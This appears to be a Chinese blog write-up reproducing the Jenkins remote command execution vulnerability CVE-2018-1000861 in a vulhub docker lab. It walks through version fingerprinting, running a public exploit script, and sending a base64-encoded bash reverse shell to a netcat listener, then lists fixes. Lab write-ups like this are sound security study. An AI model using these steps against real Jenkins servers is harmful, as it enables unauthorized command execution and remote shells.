Jenkins远程命令执行漏洞

0x00简介

Jenkins自动化部署可以解决集成、测试、部署等重复性的工作,工具集成的效率明显高于人工操作;并且持续集成可以更早的获取代码变更的信息,从而更早的进入测试阶段,更早的发现问题,这样解决问题的成本就会显著下降:持续集成缩短了从开发、集成、测试、部署各个环节的时间,从而也就缩短了中间出现的等待时间;持续集成也意味着开发、集成、测试、部署得以持续。

Jenkins远程命令执行漏洞_第1张图片

0x01漏洞概述

Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。通过这个漏洞,可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。

0x02影响范围

2.153 and earlier

LTS 2.138.3 and earlier

0x03环境搭建

1. 本次实验靶场使用vulhub中docker搭建,vulhub下载地址:

https://github.com/vulhub/vulhub

2. 然后在虚拟机中安装docker,以及安装docker-compose命令,安装方法请自行百度

3. 下载完成后传入安装了虚拟机,然后进入相关漏洞目录

cd vulhub-master/jenkins/CVE-2018-1000861/

image

4.使用docker-compose up -d运行漏洞环境

Jenkins远程命令执行漏洞_第2张图片

5. 环境启动后,访问http://your-ip:8080即可看到一个已经成功初始化的Jenkins

Jenkins远程命令执行漏洞_第3张图片

0x04漏洞复现

1. 使用一下命令查看目标的版本

curl -s -I http://your-ip:8080|grep X-Jenkins

image

2.由于此漏洞是没有回显的,这里使用GitHub上漏exp执行命令。注:也可使用burp抓包执行

exp下载地址:https://github.com/orangetw/awesome-jenkins-rce-2019

下载完成后使用python2执行检查漏洞python2 exp.py http://your-ip:8080 “curl dnslog ”

image

Jenkins远程命令执行漏洞_第4张图片

3.由于此漏洞没有回显,这里直接反弹shell //注:反弹shell需要base64加密

bash -i >& /dev/tcp/your-ip/port 0>&1

base64加密网址:http://www.jackson-t.ca/runtime-exec-payloads.html

Jenkins远程命令执行漏洞_第5张图片

3.1然后在nc上监听shell的ip和端口,使用exp发送加密后的shell

image

Jenkins远程命令执行漏洞_第6张图片

小结

1. 本次漏洞复现需要使用到docker环境,需要会用docker基本命令

2. 需要使用到linux相关的命令,以及linux反弹shell的语法

0x05修复建议

1.升级到最新版本或打上相关补丁

2.尽量不要开放到公网上

3.限制IP访问

你可能感兴趣的:(漏洞复现,安全)